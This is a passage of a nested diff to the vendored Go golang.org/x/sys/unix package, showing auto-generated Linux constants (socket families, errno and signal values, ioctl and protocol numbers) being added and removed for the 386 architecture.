-+ XDP_MMAP_OFFSETS = 0x1
-+ XDP_OPTIONS = 0x8
-+ XDP_OPTIONS_ZEROCOPY = 0x1
-+ XDP_PACKET_HEADROOM = 0x100
-+ XDP_PGOFF_RX_RING = 0x0
-+ XDP_PGOFF_TX_RING = 0x80000000
-+ XDP_RING_NEED_WAKEUP = 0x1
-+ XDP_RX_RING = 0x2
-+ XDP_SHARED_UMEM = 0x1
-+ XDP_STATISTICS = 0x7
-+ XDP_TX_RING = 0x3
-+ XDP_UMEM_COMPLETION_RING = 0x6
-+ XDP_UMEM_FILL_RING = 0x5
-+ XDP_UMEM_PGOFF_COMPLETION_RING = 0x180000000
-+ XDP_UMEM_PGOFF_FILL_RING = 0x100000000
-+ XDP_UMEM_REG = 0x4
-+ XDP_UMEM_UNALIGNED_CHUNK_FLAG = 0x1
-+ XDP_USE_NEED_WAKEUP = 0x8
-+ XDP_ZEROCOPY = 0x4
-+ XENFS_SUPER_MAGIC = 0xabba1974
-+ XFS_SUPER_MAGIC = 0x58465342
-+ Z3FOLD_MAGIC = 0x33
-+ ZONEFS_MAGIC = 0x5a4f4653
-+ ZSMALLOC_MAGIC = 0x58295829
-+)
-+
-+// Errors
-+const (
-+ E2BIG = syscall.Errno(0x7)
-+ EACCES = syscall.Errno(0xd)
-+ EAGAIN = syscall.Errno(0xb)
-+ EBADF = syscall.Errno(0x9)
-+ EBUSY = syscall.Errno(0x10)
-+ ECHILD = syscall.Errno(0xa)
-+ EDOM = syscall.Errno(0x21)
-+ EEXIST = syscall.Errno(0x11)
-+ EFAULT = syscall.Errno(0xe)
-+ EFBIG = syscall.Errno(0x1b)
-+ EINTR = syscall.Errno(0x4)
-+ EINVAL = syscall.Errno(0x16)
-+ EIO = syscall.Errno(0x5)
-+ EISDIR = syscall.Errno(0x15)
-+ EMFILE = syscall.Errno(0x18)
-+ EMLINK = syscall.Errno(0x1f)
-+ ENFILE = syscall.Errno(0x17)
-+ ENODEV = syscall.Errno(0x13)
-+ ENOENT = syscall.Errno(0x2)
-+ ENOEXEC = syscall.Errno(0x8)
-+ ENOMEM = syscall.Errno(0xc)
-+ ENOSPC = syscall.Errno(0x1c)
-+ ENOTBLK = syscall.Errno(0xf)
-+ ENOTDIR = syscall.Errno(0x14)
-+ ENOTTY = syscall.Errno(0x19)
-+ ENXIO = syscall.Errno(0x6)
-+ EPERM = syscall.Errno(0x1)
-+ EPIPE = syscall.Errno(0x20)
-+ ERANGE = syscall.Errno(0x22)
-+ EROFS = syscall.Errno(0x1e)
-+ ESPIPE = syscall.Errno(0x1d)
-+ ESRCH = syscall.Errno(0x3)
-+ ETXTBSY = syscall.Errno(0x1a)
-+ EWOULDBLOCK = syscall.Errno(0xb)
-+ EXDEV = syscall.Errno(0x12)
-+)
-+
-+// Signals
-+const (
-+ SIGABRT = syscall.Signal(0x6)
-+ SIGALRM = syscall.Signal(0xe)
-+ SIGFPE = syscall.Signal(0x8)
-+ SIGHUP = syscall.Signal(0x1)
-+ SIGILL = syscall.Signal(0x4)
-+ SIGINT = syscall.Signal(0x2)
-+ SIGIOT = syscall.Signal(0x6)
-+ SIGKILL = syscall.Signal(0x9)
-+ SIGPIPE = syscall.Signal(0xd)
-+ SIGQUIT = syscall.Signal(0x3)
-+ SIGSEGV = syscall.Signal(0xb)
-+ SIGTERM = syscall.Signal(0xf)
-+ SIGTRAP = syscall.Signal(0x5)
-+)
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go
-index 33ced1ae..028c9d87 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go
-@@ -3,7 +3,7 @@
-
- // +build 386,linux
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -Wall -Werror -static -I/tmp/include -m32 _const.go
-
- package unix
-@@ -11,1868 +11,487 @@ package unix
- import "syscall"
-
- const (
-- AF_ALG = 0x26
-- AF_APPLETALK = 0x5
-- AF_ASH = 0x12
-- AF_ATMPVC = 0x8
-- AF_ATMSVC = 0x14
-- AF_AX25 = 0x3
-- AF_BLUETOOTH = 0x1f
-- AF_BRIDGE = 0x7
-- AF_CAIF = 0x25
-- AF_CAN = 0x1d
-- AF_DECnet = 0xc
-- AF_ECONET = 0x13
-- AF_FILE = 0x1
-- AF_IB = 0x1b
-- AF_IEEE802154 = 0x24
-- AF_INET = 0x2
-- AF_INET6 = 0xa
-- AF_IPX = 0x4
-- AF_IRDA = 0x17
-- AF_ISDN = 0x22
-- AF_IUCV = 0x20
-- AF_KCM = 0x29
-- AF_KEY = 0xf
-- AF_LLC = 0x1a
-- AF_LOCAL = 0x1
-- AF_MAX = 0x2b
-- AF_MPLS = 0x1c
-- AF_NETBEUI = 0xd
-- AF_NETLINK = 0x10
-- AF_NETROM = 0x6
-- AF_NFC = 0x27
-- AF_PACKET = 0x11
-- AF_PHONET = 0x23
-- AF_PPPOX = 0x18
-- AF_QIPCRTR = 0x2a
-- AF_RDS = 0x15
-- AF_ROSE = 0xb
-- AF_ROUTE = 0x10
-- AF_RXRPC = 0x21
-- AF_SECURITY = 0xe
-- AF_SNA = 0x16
-- AF_TIPC = 0x1e
-- AF_UNIX = 0x1
-- AF_UNSPEC = 0x0
-- AF_VSOCK = 0x28
-- AF_WANPIPE = 0x19
-- AF_X25 = 0x9
-- ALG_OP_DECRYPT = 0x0
-- ALG_OP_ENCRYPT = 0x1
-- ALG_SET_AEAD_ASSOCLEN = 0x4
-- ALG_SET_AEAD_AUTHSIZE = 0x5
-- ALG_SET_IV = 0x2
-- ALG_SET_KEY = 0x1
-- ALG_SET_OP = 0x3
-- ARPHRD_6LOWPAN = 0x339
-- ARPHRD_ADAPT = 0x108
-- ARPHRD_APPLETLK = 0x8
-- ARPHRD_ARCNET = 0x7
-- ARPHRD_ASH = 0x30d
-- ARPHRD_ATM = 0x13
-- ARPHRD_AX25 = 0x3
-- ARPHRD_BIF = 0x307
-- ARPHRD_CAIF = 0x336
-- ARPHRD_CAN = 0x118
-- ARPHRD_CHAOS = 0x5
-- ARPHRD_CISCO = 0x201
-- ARPHRD_CSLIP = 0x101
-- ARPHRD_CSLIP6 = 0x103
-- ARPHRD_DDCMP = 0x205
-- ARPHRD_DLCI = 0xf
-- ARPHRD_ECONET = 0x30e
-- ARPHRD_EETHER = 0x2
-- ARPHRD_ETHER = 0x1
-- ARPHRD_EUI64 = 0x1b
-- ARPHRD_FCAL = 0x311
-- ARPHRD_FCFABRIC = 0x313
-- ARPHRD_FCPL = 0x312
-- ARPHRD_FCPP = 0x310
-- ARPHRD_FDDI = 0x306
-- ARPHRD_FRAD = 0x302
-- ARPHRD_HDLC = 0x201
-- ARPHRD_HIPPI = 0x30c
-- ARPHRD_HWX25 = 0x110
-- ARPHRD_IEEE1394 = 0x18
-- ARPHRD_IEEE802 = 0x6
-- ARPHRD_IEEE80211 = 0x321
-- ARPHRD_IEEE80211_PRISM = 0x322
-- ARPHRD_IEEE80211_RADIOTAP = 0x323
-- ARPHRD_IEEE802154 = 0x324
-- ARPHRD_IEEE802154_MONITOR = 0x325
-- ARPHRD_IEEE802_TR = 0x320
-- ARPHRD_INFINIBAND = 0x20
-- ARPHRD_IP6GRE = 0x337
-- ARPHRD_IPDDP = 0x309
-- ARPHRD_IPGRE = 0x30a
-- ARPHRD_IRDA = 0x30f
-- ARPHRD_LAPB = 0x204
-- ARPHRD_LOCALTLK = 0x305
-- ARPHRD_LOOPBACK = 0x304
-- ARPHRD_METRICOM = 0x17
-- ARPHRD_NETLINK = 0x338
-- ARPHRD_NETROM = 0x0
-- ARPHRD_NONE = 0xfffe
-- ARPHRD_PHONET = 0x334
-- ARPHRD_PHONET_PIPE = 0x335
-- ARPHRD_PIMREG = 0x30b
-- ARPHRD_PPP = 0x200
-- ARPHRD_PRONET = 0x4
-- ARPHRD_RAWHDLC = 0x206
-- ARPHRD_ROSE = 0x10e
-- ARPHRD_RSRVD = 0x104
-- ARPHRD_SIT = 0x308
-- ARPHRD_SKIP = 0x303
-- ARPHRD_SLIP = 0x100
-- ARPHRD_SLIP6 = 0x102
-- ARPHRD_TUNNEL = 0x300
-- ARPHRD_TUNNEL6 = 0x301
-- ARPHRD_VOID = 0xffff
-- ARPHRD_X25 = 0x10f
-- B0 = 0x0
-- B1000000 = 0x1008
-- B110 = 0x3
-- B115200 = 0x1002
-- B1152000 = 0x1009
-- B1200 = 0x9
-- B134 = 0x4
-- B150 = 0x5
-- B1500000 = 0x100a
-- B1800 = 0xa
-- B19200 = 0xe
-- B200 = 0x6
-- B2000000 = 0x100b
-- B230400 = 0x1003
-- B2400 = 0xb
-- B2500000 = 0x100c
-- B300 = 0x7
-- B3000000 = 0x100d
-- B3500000 = 0x100e
-- B38400 = 0xf
-- B4000000 = 0x100f
-- B460800 = 0x1004
-- B4800 = 0xc
-- B50 = 0x1
-- B500000 = 0x1005
-- B57600 = 0x1001
-- B576000 = 0x1006
-- B600 = 0x8
-- B75 = 0x2
-- B921600 = 0x1007
-- B9600 = 0xd
-- BLKBSZGET = 0x80041270
-- BLKBSZSET = 0x40041271
-- BLKFLSBUF = 0x1261
-- BLKFRAGET = 0x1265
-- BLKFRASET = 0x1264
-- BLKGETSIZE = 0x1260
-- BLKGETSIZE64 = 0x80041272
-- BLKPBSZGET = 0x127b
-- BLKRAGET = 0x1263
-- BLKRASET = 0x1262
-- BLKROGET = 0x125e
-- BLKROSET = 0x125d
-- BLKRRPART = 0x125f
-- BLKSECTGET = 0x1267
-- BLKSECTSET = 0x1266
-- BLKSSZGET = 0x1268
-- BOTHER = 0x1000
-- BPF_A = 0x10
-- BPF_ABS = 0x20
-- BPF_ADD = 0x0
-- BPF_ALU = 0x4
-- BPF_AND = 0x50
-- BPF_B = 0x10
-- BPF_DIV = 0x30
-- BPF_H = 0x8
-- BPF_IMM = 0x0
-- BPF_IND = 0x40
-- BPF_JA = 0x0
-- BPF_JEQ = 0x10
-- BPF_JGE = 0x30
-- BPF_JGT = 0x20
-- BPF_JMP = 0x5
-- BPF_JSET = 0x40
-- BPF_K = 0x0
-- BPF_LD = 0x0
-- BPF_LDX = 0x1
-- BPF_LEN = 0x80
-- BPF_LL_OFF = -0x200000
-- BPF_LSH = 0x60
-- BPF_MAJOR_VERSION = 0x1
-- BPF_MAXINSNS = 0x1000
-- BPF_MEM = 0x60
-- BPF_MEMWORDS = 0x10
-- BPF_MINOR_VERSION = 0x1
-- BPF_MISC = 0x7
-- BPF_MOD = 0x90
-- BPF_MSH = 0xa0
-- BPF_MUL = 0x20
-- BPF_NEG = 0x80
-- BPF_NET_OFF = -0x100000
-- BPF_OR = 0x40
-- BPF_RET = 0x6
-- BPF_RSH = 0x70
-- BPF_ST = 0x2
-- BPF_STX = 0x3
-- BPF_SUB = 0x10
-- BPF_TAX = 0x0
-- BPF_TXA = 0x80
-- BPF_W = 0x0
-- BPF_X = 0x8
-- BPF_XOR = 0xa0
-- BRKINT = 0x2
-- BS0 = 0x0
-- BS1 = 0x2000
-- BSDLY = 0x2000
-- CAN_BCM = 0x2
-- CAN_EFF_FLAG = 0x80000000
-- CAN_EFF_ID_BITS = 0x1d
-- CAN_EFF_MASK = 0x1fffffff
-- CAN_ERR_FLAG = 0x20000000
-- CAN_ERR_MASK = 0x1fffffff
-- CAN_INV_FILTER = 0x20000000
-- CAN_ISOTP = 0x6
-- CAN_MAX_DLC = 0x8
-- CAN_MAX_DLEN = 0x8
-- CAN_MCNET = 0x5
-- CAN_MTU = 0x10
-- CAN_NPROTO = 0x7
-- CAN_RAW = 0x1
-- CAN_RAW_FILTER_MAX = 0x200
-- CAN_RTR_FLAG = 0x40000000
-- CAN_SFF_ID_BITS = 0xb
-- CAN_SFF_MASK = 0x7ff
-- CAN_TP16 = 0x3
-- CAN_TP20 = 0x4
-- CBAUD = 0x100f
-- CBAUDEX = 0x1000
-- CFLUSH = 0xf
-- CIBAUD = 0x100f0000
-- CLOCAL = 0x800
-- CLOCK_BOOTTIME = 0x7
-- CLOCK_BOOTTIME_ALARM = 0x9
-- CLOCK_DEFAULT = 0x0
-- CLOCK_EXT = 0x1
-- CLOCK_INT = 0x2
-- CLOCK_MONOTONIC = 0x1
-- CLOCK_MONOTONIC_COARSE = 0x6
-- CLOCK_MONOTONIC_RAW = 0x4
-- CLOCK_PROCESS_CPUTIME_ID = 0x2
-- CLOCK_REALTIME = 0x0
-- CLOCK_REALTIME_ALARM = 0x8
-- CLOCK_REALTIME_COARSE = 0x5
-- CLOCK_TAI = 0xb
-- CLOCK_THREAD_CPUTIME_ID = 0x3
-- CLOCK_TXFROMRX = 0x4
-- CLOCK_TXINT = 0x3
-- CLONE_CHILD_CLEARTID = 0x200000
-- CLONE_CHILD_SETTID = 0x1000000
-- CLONE_DETACHED = 0x400000
-- CLONE_FILES = 0x400
-- CLONE_FS = 0x200
-- CLONE_IO = 0x80000000
-- CLONE_NEWCGROUP = 0x2000000
-- CLONE_NEWIPC = 0x8000000
-- CLONE_NEWNET = 0x40000000
-- CLONE_NEWNS = 0x20000
-- CLONE_NEWPID = 0x20000000
-- CLONE_NEWUSER = 0x10000000
-- CLONE_NEWUTS = 0x4000000
-- CLONE_PARENT = 0x8000
-- CLONE_PARENT_SETTID = 0x100000
-- CLONE_PTRACE = 0x2000
-- CLONE_SETTLS = 0x80000
-- CLONE_SIGHAND = 0x800
-- CLONE_SYSVSEM = 0x40000
-- CLONE_THREAD = 0x10000
-- CLONE_UNTRACED = 0x800000
-- CLONE_VFORK = 0x4000
-- CLONE_VM = 0x100
-- CMSPAR = 0x40000000
-- CR0 = 0x0
-- CR1 = 0x200
-- CR2 = 0x400
-- CR3 = 0x600
-- CRDLY = 0x600
-- CREAD = 0x80
-- CRTSCTS = 0x80000000
-- CS5 = 0x0
-- CS6 = 0x10
-- CS7 = 0x20
-- CS8 = 0x30
-- CSIGNAL = 0xff
-- CSIZE = 0x30
-- CSTART = 0x11
-- CSTATUS = 0x0
-- CSTOP = 0x13
-- CSTOPB = 0x40
-- CSUSP = 0x1a
-- DT_BLK = 0x6
-- DT_CHR = 0x2
-- DT_DIR = 0x4
-- DT_FIFO = 0x1
-- DT_LNK = 0xa
-- DT_REG = 0x8
-- DT_SOCK = 0xc
-- DT_UNKNOWN = 0x0
-- DT_WHT = 0xe
-- ECHO = 0x8
-- ECHOCTL = 0x200
-- ECHOE = 0x10
-- ECHOK = 0x20
-- ECHOKE = 0x800
-- ECHONL = 0x40
-- ECHOPRT = 0x400
-- EFD_CLOEXEC = 0x80000
-- EFD_NONBLOCK = 0x800
-- EFD_SEMAPHORE = 0x1
-- ENCODING_DEFAULT = 0x0
-- ENCODING_FM_MARK = 0x3
-- ENCODING_FM_SPACE = 0x4
-- ENCODING_MANCHESTER = 0x5
-- ENCODING_NRZ = 0x1
-- ENCODING_NRZI = 0x2
-- EPOLLERR = 0x8
-- EPOLLET = 0x80000000
-- EPOLLEXCLUSIVE = 0x10000000
-- EPOLLHUP = 0x10
-- EPOLLIN = 0x1
-- EPOLLMSG = 0x400
-- EPOLLONESHOT = 0x40000000
-- EPOLLOUT = 0x4
-- EPOLLPRI = 0x2
-- EPOLLRDBAND = 0x80
-- EPOLLRDHUP = 0x2000
-- EPOLLRDNORM = 0x40
-- EPOLLWAKEUP = 0x20000000
-- EPOLLWRBAND = 0x200
-- EPOLLWRNORM = 0x100
-- EPOLL_CLOEXEC = 0x80000
-- EPOLL_CTL_ADD = 0x1
-- EPOLL_CTL_DEL = 0x2
-- EPOLL_CTL_MOD = 0x3
-- ETH_P_1588 = 0x88f7
-- ETH_P_8021AD = 0x88a8
-- ETH_P_8021AH = 0x88e7
-- ETH_P_8021Q = 0x8100
-- ETH_P_80221 = 0x8917
-- ETH_P_802_2 = 0x4
-- ETH_P_802_3 = 0x1
-- ETH_P_802_3_MIN = 0x600
-- ETH_P_802_EX1 = 0x88b5
-- ETH_P_AARP = 0x80f3
-- ETH_P_AF_IUCV = 0xfbfb
-- ETH_P_ALL = 0x3
-- ETH_P_AOE = 0x88a2
-- ETH_P_ARCNET = 0x1a
-- ETH_P_ARP = 0x806
-- ETH_P_ATALK = 0x809b
-- ETH_P_ATMFATE = 0x8884
-- ETH_P_ATMMPOA = 0x884c
-- ETH_P_AX25 = 0x2
-- ETH_P_BATMAN = 0x4305
-- ETH_P_BPQ = 0x8ff
-- ETH_P_CAIF = 0xf7
-- ETH_P_CAN = 0xc
-- ETH_P_CANFD = 0xd
-- ETH_P_CONTROL = 0x16
-- ETH_P_CUST = 0x6006
-- ETH_P_DDCMP = 0x6
-- ETH_P_DEC = 0x6000
-- ETH_P_DIAG = 0x6005
-- ETH_P_DNA_DL = 0x6001
-- ETH_P_DNA_RC = 0x6002
-- ETH_P_DNA_RT = 0x6003
-- ETH_P_DSA = 0x1b
-- ETH_P_ECONET = 0x18
-- ETH_P_EDSA = 0xdada
-- ETH_P_FCOE = 0x8906
-- ETH_P_FIP = 0x8914
-- ETH_P_HDLC = 0x19
-- ETH_P_HSR = 0x892f
-- ETH_P_IEEE802154 = 0xf6
-- ETH_P_IEEEPUP = 0xa00
-- ETH_P_IEEEPUPAT = 0xa01
-- ETH_P_IP = 0x800
-- ETH_P_IPV6 = 0x86dd
-- ETH_P_IPX = 0x8137
-- ETH_P_IRDA = 0x17
-- ETH_P_LAT = 0x6004
-- ETH_P_LINK_CTL = 0x886c
-- ETH_P_LOCALTALK = 0x9
-- ETH_P_LOOP = 0x60
-- ETH_P_LOOPBACK = 0x9000
-- ETH_P_MACSEC = 0x88e5
-- ETH_P_MOBITEX = 0x15
-- ETH_P_MPLS_MC = 0x8848
-- ETH_P_MPLS_UC = 0x8847
-- ETH_P_MVRP = 0x88f5
-- ETH_P_NCSI = 0x88f8
-- ETH_P_PAE = 0x888e
-- ETH_P_PAUSE = 0x8808
-- ETH_P_PHONET = 0xf5
-- ETH_P_PPPTALK = 0x10
-- ETH_P_PPP_DISC = 0x8863
-- ETH_P_PPP_MP = 0x8
-- ETH_P_PPP_SES = 0x8864
-- ETH_P_PRP = 0x88fb
-- ETH_P_PUP = 0x200
-- ETH_P_PUPAT = 0x201
-- ETH_P_QINQ1 = 0x9100
-- ETH_P_QINQ2 = 0x9200
-- ETH_P_QINQ3 = 0x9300
-- ETH_P_RARP = 0x8035
-- ETH_P_SCA = 0x6007
-- ETH_P_SLOW = 0x8809
-- ETH_P_SNAP = 0x5
-- ETH_P_TDLS = 0x890d
-- ETH_P_TEB = 0x6558
-- ETH_P_TIPC = 0x88ca
-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x1000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x400c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x40106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x800c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xc
-- F_GETLK64 = 0xc
-- F_GETOWN = 0x9
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0xd
-- F_SETLK64 = 0xd
-- F_SETLKW = 0xe
-- F_SETLKW64 = 0xe
-- F_SETOWN = 0x8
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x8000
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x800
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
